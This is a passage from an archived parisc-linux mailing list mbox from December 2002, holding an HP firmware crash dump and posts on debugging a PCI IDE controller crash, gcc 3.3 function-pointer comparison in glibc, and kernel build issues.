  [<0002c180>]  [<0002ba01>]  [<000213e8>]  [<00020003>]
  [<10135ddc>]  [<0000fe30>]  [<0001eac3>]  [<00017af0>]
  [<0002b9cc>]  [<0002ba04>]  [<00036010>]  [<00010504>]
  [<1011de54>]  [<0002d000>]  [<0002c5c0>]  [<10104904>]
  [<0002c5b4>]  [<0002c5b4>]  [<0000a060>]  [<0002c5d0>]
  [<10108f90>]  [<10108084>]  [<10107cf4>]  [<1013fd44>]
  [<1013e638>]  [<1014ed24>]  [<0002c5b4>]  [<0001436b>]
  [<101205a8>]

High Priority Machine Check (HPMC): Code=1 regs=10313080 (Addr=00000000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000011100001100 Not tainted
r00-03  00000000 10320010 1010f840 000000ff
r04-07  0000fd00 0000fd1f 109ab400 0002e898
r08-11  109ab400 00000061 00000000 00000001
r12-15  00000000 2fda3ce0 2f1a0550 00000003
r16-19  00044c08 00045408 00000000 f200006f
r20-23  0000000e 0000000f 1026bee4 10323810
r24-27  0000fd1f 00000003 109ac160 10310010
r28-31  0000006f ffffe003 2f1a0900 1010f840
sr0-3   00000000 00000265 00000000 00000265
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1026bf10 1026bf14
  IIR: 00141860    ISR: 9227ffc8  IOR: 00000064
  CPU:        0   CR30: 2f1a0000 CR31: 103d0000
  ORIG_R28: 00000000



Firmware Version  5.8

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
    (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

   Processor   Speed            State           Coprocessor State  I/D Cache
   ---------  --------   ---------------------  ----------------- 
-------------
       0      236 MHz    Active                 Functional         2 MB/2 MB

   Central Bus Speed (in MHz) :        118

   Available memory (bytes)    : 536870912
   Good memory required (bytes):   44974080

   Primary boot path:    LAN.0.0.0.0.0.0
   Alternate boot path:  FWSCSI.6.0
   Console path:         GRAPHICS(4)
   Keyboard path:        PS2

CPU 0
WARNING:  Self tests have been disabled as a result of FASTBOOT
           being enabled.  To enable self tests, use the FASTBOOT
           command in the CONFIGURATION menu and reboot the system.


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


------- Main Menu 
-------------------------------------------------------------

         Command                         Description
         -------                         -----------
         BOot [PRI|ALT|<path>]           Boot from specified path
         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
         SEArch [DIsplay|IPL] [<path>]   Search for boot devices

         COnfiguration [<command>]       Access Configuration menu/commands
         INformation [<command>]         Access Information menu/commands
         SERvice [<command>]             Access Service menu/commands

         DIsplay                         Redisplay the current menu
         HElp [<menu>|<command>]         Display help for menu or command
         RESET                           Restart the system
-------
Main Menu: Enter command > ser pim

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp =   Fri Dec  13 23:00:06 GMT 2002    (20:02:12:13:23:00:06)

HPMC Chassis Codes = 0xcbf0  0x5007  0x5408  0x5508  0xcbfb

General Registers 0 - 31
00-03   0000000000000000  0000000010320010  000000001010f840 
00000000000000ff
04-07   000000000000fd00  000000000000fd1f  00000000109ab400 
000000000002e898
08-11   00000000109ab400  0000000000000061  0000000000000000 
0000000000000001
12-15   0000000000000000  000000002fda3ce0  000000002f1a0550 
0000000000000003
16-19   0000000000044c08  0000000000045408  0000000000000000 
00000000f200006f
20-23   000000000000000e  000000000000000f  000000001026bee4 
0000000010323810
24-27   000000000000fd1f  0000000000000003  00000000109ac160 
0000000010310010
28-31   000000000000006f  00000000ffffe003  000000002f1a0900 
000000001010f840

<Press any key to continue (q to quit)>

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
08-11   00000000000004ca  0000000000000000  00000000000000c0 
000000000000001f
12-15   0000000000000000  0000000000000000  0000000000107000 
00000000f0000000
16-19   000000195c1e11d2  0000000000000000  000000001026bf10 
0000000000141860
20-23   000000009227ffc8  c000000000000064  000000000004070c 
0000000080000000
24-27   000000000032d000  000000001f208000  00000000ffffffff 
00000000ffffffff
28-31   00000000ffffffff  00000000ffffffff  000000002f1a0000 
00000000103d0000

Space Registers 0 - 7
00-03   00000000          00000265          00000000          00000265
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)>

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x000000001026bf14
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0020000c
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffffa0000
System Requestor Address     = 0x0000000000000000
Check Summary                = 0x8002000040004000
Available Memory             = 0x0000000000000000
CPU Diagnose Register 2      = 0x0501000000000004
CPU Status Register 0        = 0x4420c20000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0x0800000000000000
Read Short LOG               = 0xc10010fff200006f

<Press any key to continue (q to quit)>

Memory Error Log Information:

Timestamp =   Fri Dec  13 23:00:07 GMT 2002    (20:02:12:13:23:00:07)

    No memory errors logged


I/O Module Error Log Information:

Timestamp =   Fri Dec  13 23:00:08 GMT 2002    (20:02:12:13:23:00:08)

Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor 
Responder
--- ---------- ---------------- -------- -- -- ---- ----- ---------- 
----------
  0  0xfff88000 I/O Adapter      8         2  0  he   0x0d 0x00000000 
0x00000000
  1  0xf203f000 Bus Converter    8/63     15  3  se   0x07 0xfffa0800 
0xf200006f
  1  0xf2000000 Bus Bridge (PCI)                      0x07 0xf2000000 
0x0000fd1f

PCI Device Failure Information

Physical Slot   Logical   Path
-------------  ----------------------------
    1            0/255/255/255/8/0/1/0



PCI Error Summary

A Processer IO error occurred. The GSC-PCI bridge was
the requestor. Error bit indicates a master timeout
or master Abort was received during a PCI transaction.

Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor 
Responder
--- ---------- ---------------- -------- -- -- ---- ----- ---------- 
----------
  0  0xfff8a000 I/O Adapter      10        2  2  he   0x0d 0x00000000 
0x00000000

<Press any key to continue (q to quit)>
Main Menu: Enter command >



From - Thu Nov 08 21:25:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with PCI IDE controller
Date: Sat, 14 Dec 2002 13:10:48 +0000
Lines: 260
Approved: news@gmane.org
Message-ID: <20021214131048.L10991@parcelfarce.linux.theplanet.co.uk>
References: <courier.3DFB1AEA.0000527C@server01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622024 18660 80.91.229.3 (22 Nov 2014 02:07:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:04 +0000 (UTC)
Cc: PARISC-LINUX <parisc-linux@lists.parisc-linux.org>
To: Joerg Steindlberger <j@steindlberger.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 14 06:10:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D0544829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Dec 2002 06:10:57 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18NC48-0003RS-00; Sat, 14 Dec 2002 13:10:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <courier.3DFB1AEA.0000527C@server01>; from j@steindlberger.de on Sat, Dec 14, 2002 at 12:48:43PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17106

On Sat, Dec 14, 2002 at 12:48:43PM +0100, Joerg Steindlberger wrote:
> Here is what I did: Building the kernel - booting the system - doing a 
> modprobe -k ide-disk (from remote) - pressing Transfer Of Control - 
> interrupting boot sequence and typing ser pim. And here is the output of 
> the console: (thank You for helping - Joerg)

Great.  Now...

http://www.parisc-linux.org/faq/kernelbug-howto.html

I notice you have devfs compiled in.  I can't recommend this course
of action, though I coubt it's the root of the problem.

> hp-c240 login:
> Debian GNU/Linux testing/unstable hp-c240 tts/0
> 
> hp-c240 login: Uniform Multi-Platform E-IDE driver Revision: 6.31
> ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
> PDC20268: IDE controller on PCI bus 00 dev 08
> PDC20268: chipset revision 2
> PDC20268: not 100% native mode: will probe irqs later
> 
> 
> Uniform Multi-Platform E-IDE driver Revision: 6.31
> ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
> PDC20268: IDE controller on PCI bus 00 dev 08
> PDC20268: chipset revision 2
> PDC20268: not 100% native mode: will probe irqs later
> 
> Stack Dump:
>   2f1a0900:  00000002 73747576 6f707172 6b6c6d6e
>   2f1a08f0:  6768696a 1010fdec 00000000 0000000f
>   2f1a08e0:  103dee76 10323810 10323b68 00000036
>   2f1a08d0:  00000061 00000000 00000001 10323810
>   2f1a08c0:  00000000 00000002 103df23f 00000010
>   2f1a08b0:  103dee40 0002423c 00000400 1037da4c
> 
> Kernel addresses on the stack:
>   [<1010fdec>]  [<0002423c>]  [<0002ec19>]  [<1024ba78>]
>   [<00034b44>]  [<000204c8>]  [<00034b44>]  [<0002ebe8>]
>   [<0002e898>]  [<1011cd58>]  [<102d0cec>]  [<00034b44>]
>   [<00036010>]  [<1011ce84>]  [<00034b44>]  [<00036010>]
>   [<000300ea>]  [<0002120c>]  [<00036010>]  [<0002ee98>]
>   [<0002e898>]  [<1011cd58>]  [<00036010>]  [<00036010>]
>   [<0002c180>]  [<0002ba01>]  [<000213e8>]  [<00020003>]
>   [<10135ddc>]  [<0000fe30>]  [<0001eac3>]  [<00017af0>]
>   [<0002b9cc>]  [<0002ba04>]  [<00036010>]  [<00010504>]
>   [<1011de54>]  [<0002d000>]  [<0002c5c0>]  [<10104904>]
>   [<0002c5b4>]  [<0002c5b4>]  [<0000a060>]  [<0002c5d0>]
>   [<10108f90>]  [<10108084>]  [<10107cf4>]  [<1013fd44>]
>   [<1013e638>]  [<1014ed24>]  [<0002c5b4>]  [<0001436b>]
>   [<101205a8>]
> 
> High Priority Machine Check (HPMC): Code=1 regs=10313080 (Addr=00000000)
> 
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000011100001100 Not tainted
> r00-03  00000000 10320010 1010f840 000000ff
> r04-07  0000fd00 0000fd1f 109ab400 0002e898
> r08-11  109ab400 00000061 00000000 00000001
> r12-15  00000000 2fda3ce0 2f1a0550 00000003
> r16-19  00044c08 00045408 00000000 f200006f
> r20-23  0000000e 0000000f 1026bee4 10323810
> r24-27  0000fd1f 00000003 109ac160 10310010
> r28-31  0000006f ffffe003 2f1a0900 1010f840
> sr0-3   00000000 00000265 00000000 00000265
> sr4-7   00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 1026bf10 1026bf14
>   IIR: 00141860    ISR: 9227ffc8  IOR: 00000064
>   CPU:        0   CR30: 2f1a0000 CR31: 103d0000
>   ORIG_R28: 00000000
> 
> 
> 
> Firmware Version  5.8
> 
> Duplex Console IO Dependent Code (IODC) revision 1
> 
> ------------------------------------------------------------------------------
>     (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
> ------------------------------------------------------------------------------
> 
>    Processor   Speed            State           Coprocessor State  I/D Cache
>    ---------  --------   ---------------------  ----------------- 
> -------------
>        0      236 MHz    Active                 Functional         2 MB/2 MB
> 
>    Central Bus Speed (in MHz) :        118
> 
>    Available memory (bytes)    : 536870912
>    Good memory required (bytes):   44974080
> 
>    Primary boot path:    LAN.0.0.0.0.0.0
>    Alternate boot path:  FWSCSI.6.0
>    Console path:         GRAPHICS(4)
>    Keyboard path:        PS2
> 
> CPU 0
> WARNING:  Self tests have been disabled as a result of FASTBOOT
>            being enabled.  To enable self tests, use the FASTBOOT
>            command in the CONFIGURATION menu and reboot the system.
> 
> 
> Processor is booting from first available device.
> 
> To discontinue, press any key within 10 seconds.
> 
> Boot terminated.
> 
> 
> ------- Main Menu 
> -------------------------------------------------------------
> 
>          Command                         Description
>          -------                         -----------
>          BOot [PRI|ALT|<path>]           Boot from specified path
>          PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
>          SEArch [DIsplay|IPL] [<path>]   Search for boot devices
> 
>          COnfiguration [<command>]       Access Configuration menu/commands
>          INformation [<command>]         Access Information menu/commands
>          SERvice [<command>]             Access Service menu/commands
> 
>          DIsplay                         Redisplay the current menu
>          HElp [<menu>|<command>]         Display help for menu or command
>          RESET                           Restart the system
> -------
> Main Menu: Enter command > ser pim
> 
> PROCESSOR PIM INFORMATION
> 
> -----------------  Processor 0 HPMC Information ------------------
> 
> Timestamp =   Fri Dec  13 23:00:06 GMT 2002    (20:02:12:13:23:00:06)
> 
> HPMC Chassis Codes = 0xcbf0  0x5007  0x5408  0x5508  0xcbfb
> 
> General Registers 0 - 31
> 00-03   0000000000000000  0000000010320010  000000001010f840 
> 00000000000000ff
> 04-07   000000000000fd00  000000000000fd1f  00000000109ab400 
> 000000000002e898
> 08-11   00000000109ab400  0000000000000061  0000000000000000 
> 0000000000000001
> 12-15   0000000000000000  000000002fda3ce0  000000002f1a0550 
> 0000000000000003
> 16-19   0000000000044c08  0000000000045408  0000000000000000 
> 00000000f200006f
> 20-23   000000000000000e  000000000000000f  000000001026bee4 
> 0000000010323810
> 24-27   000000000000fd1f  0000000000000003  00000000109ac160 
> 0000000010310010
> 28-31   000000000000006f  00000000ffffe003  000000002f1a0900 
> 000000001010f840
> 
> <Press any key to continue (q to quit)>
> 
> Control Registers 0 - 31
> 00-03   0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 04-07   0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 08-11   00000000000004ca  0000000000000000  00000000000000c0 
> 000000000000001f
> 12-15   0000000000000000  0000000000000000  0000000000107000 
> 00000000f0000000
> 16-19   000000195c1e11d2  0000000000000000  000000001026bf10 
> 0000000000141860
> 20-23   000000009227ffc8  c000000000000064  000000000004070c 
> 0000000080000000
> 24-27   000000000032d000  000000001f208000  00000000ffffffff 
> 00000000ffffffff
> 28-31   00000000ffffffff  00000000ffffffff  000000002f1a0000 
> 00000000103d0000
> 
> Space Registers 0 - 7
> 00-03   00000000          00000265          00000000          00000265
> 04-07   00000000          00000000          00000000          00000000
> 
> <Press any key to continue (q to quit)>
> 
> IIA Space                    = 0x0000000000000000
> IIA Offset                   = 0x000000001026bf14
> Check Type                   = 0x20000000
> CPU State                    = 0x9e000004
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x0020000c
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0xfffffffffffa0000
> System Requestor Address     = 0x0000000000000000
> Check Summary                = 0x8002000040004000
> Available Memory             = 0x0000000000000000
> CPU Diagnose Register 2      = 0x0501000000000004
> CPU Status Register 0        = 0x4420c20000000000
> CPU Status Register 1        = 0x8002000000000000
> SADD LOG                     = 0x0800000000000000
> Read Short LOG               = 0xc10010fff200006f
> 
> <Press any key to continue (q to quit)>
> 
> Memory Error Log Information:
> 
> Timestamp =   Fri Dec  13 23:00:07 GMT 2002    (20:02:12:13:23:00:07)
> 
>     No memory errors logged
> 
> 
> I/O Module Error Log Information:
> 
> Timestamp =   Fri Dec  13 23:00:08 GMT 2002    (20:02:12:13:23:00:08)
> 
> Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor 
> Responder
> --- ---------- ---------------- -------- -- -- ---- ----- ---------- 
> ----------
>   0  0xfff88000 I/O Adapter      8         2  0  he   0x0d 0x00000000 
> 0x00000000
>   1  0xf203f000 Bus Converter    8/63     15  3  se   0x07 0xfffa0800 
> 0xf200006f
>   1  0xf2000000 Bus Bridge (PCI)                      0x07 0xf2000000 
> 0x0000fd1f
> 
> PCI Device Failure Information
> 
> Physical Slot   Logical   Path
> -------------  ----------------------------
>     1            0/255/255/255/8/0/1/0
> 
> 
> 
> PCI Error Summary
> 
> A Processer IO error occurred. The GSC-PCI bridge was
> the requestor. Error bit indicates a master timeout
> or master Abort was received during a PCI transaction.
> 
> Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor 
> Responder
> --- ---------- ---------------- -------- -- -- ---- ----- ---------- 
> ----------
>   0  0xfff8a000 I/O Adapter      10        2  2  he   0x0d 0x00000000 
> 0x00000000
> 
> <Press any key to continue (q to quit)>
> Main Menu: Enter command >
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] comparison of function pointers
Date: Sat, 14 Dec 2002 22:02:23 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200212150302.gBF32OYx002469@hiauly1.hia.nrc.ca>
References: <20021213192039.GB12890@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622024 18667 80.91.229.3 (22 Nov 2014 02:07:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:04 +0000 (UTC)
Cc: tausq@debian.org, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 14 20:02:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23E9A482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Dec 2002 20:02:32 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBF32Pot002471;
	Sat, 14 Dec 2002 22:02:25 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBF32OYx002469;
	Sat, 14 Dec 2002 22:02:24 -0500 (EST)
In-Reply-To: <20021213192039.GB12890@systemhalted> from "Carlos O'Donell" at Dec 13, 2002 02:20:39 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17107

GCC 3.3 and later has a new function __canonicalize_funcptr_for_compare
in libgcc.a for comparing function pointers.  There are routines in glibc
that compare function pointers and therefore depend on the presence
of this function if glibc is built with gcc-3.3 or later.  These
are gconv_open.o, signal.o, sigvec.o, sysv_signal.o, sigset.o, malloc.o
sleep.o, getaddrinfo.o, svc.o, svc_simple.o.

Earlier versions of gcc don't have the function.  Thus, if you try to
use an earlier version of gcc with a library built with gcc-3.3 or later,
the routine won't be present in libgcc.  One solution might be to add
__canonicalize_funcptr_for_compare to glibc.  This might be a good idea
as it depends closely on the implementation of the dynamic linker
interface in glibc for function calls.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa14 64bit crash on boot - A500-5X
Date: Sat, 14 Dec 2002 20:53:59 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20021215035359.GA18647@dsl2.external.hp.com>
References: <20021213132838.F044D49C55@mail.esiee.fr> <20021213233540.503b16d3.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622024 18670 80.91.229.3 (22 Nov 2014 02:07:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 14 20:53:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 934DB482C; Sat, 14 Dec 2002 20:53:59 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021213233540.503b16d3.varenet@esiee.fr>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17108

On Fri, Dec 13, 2002 at 11:35:40PM +0100, Thibaut VARENE wrote:
> AOUT: 0x10143bd4 mod_timer+3c
...
> AOUT: 0x10538b48 hp_diva_timer+0

Good News: I reproduced this and fixed it.
But I don't know exactly what I did that fixed it. :^(
(drawbacks of the shotgun approach).
Fairly small patch is on ftp.parisc-linux.org/patches/diff-2.4.20-timer
This isn't ready to commit until someone narrows it down to one thing.

Bad News: SMP kernel now hangs during SCSI device discover.
I haven't tried CONFIG_SMP=n yet and I guess that would be a next step.
Console output of the a500-44 boot with 2.4.20-pa14 + patch is on
	dsl2.e.h.c:~grundler/rp2470-2.4.20-symhang-01

grant


From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-snapshot (3.3) and linux-2.4.20-pa13
Date: Sun, 15 Dec 2002 12:25:47 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <3DFC74CB.2060208@freebel.net>
References: <Pine.LNX.4.44.0212132231260.18468-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622025 18672 80.91.229.3 (22 Nov 2014 02:07:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 15 04:18:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08F53482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Dec 2002 04:18:02 -0700 (MST)
Original-Received: from [62.235.174.225] (helo=freebel.net)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18NWmQ-0005tU-00; Sun, 15 Dec 2002 12:17:55 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021210 Debian/1.2.1-3
In-Reply-To: <Pine.LNX.4.44.0212132231260.18468-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17109

Max,

Sorry, I would have to mentionned that:
those stuff can be saffely removed (as far as can test we gcc-3.0 and 
later as 3.1 3.2 and 3.3 (aka snapshot))

Cheers,
	Joel

M. Grabert wrote:
> Debian's gcc snapshot won't compile the kernel, (probably) due to the
> same reason as here:
> 
> ====
> Changes since 1.46: +1 -1 lines
> Diff to previous 1.46
> 
> 2.5.47-pa8: remove reference to $$mulU millicode function for gcc 3.3
> =====
> 
> at least it's the same error message ('undefined reference ...').
> 
> greetings max
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Is this system_irqsave diff is correct?
Date: Sun, 15 Dec 2002 13:09:14 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <3DFC7EFA.9040708@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------020609020700060903080206"
X-Trace: ger.gmane.org 1416622025 18675 80.91.229.3 (22 Nov 2014 02:07:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 15 05:03:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 039C1482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Dec 2002 05:02:57 -0700 (MST)
Original-Received: from [62.235.174.225] (helo=freebel.net)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
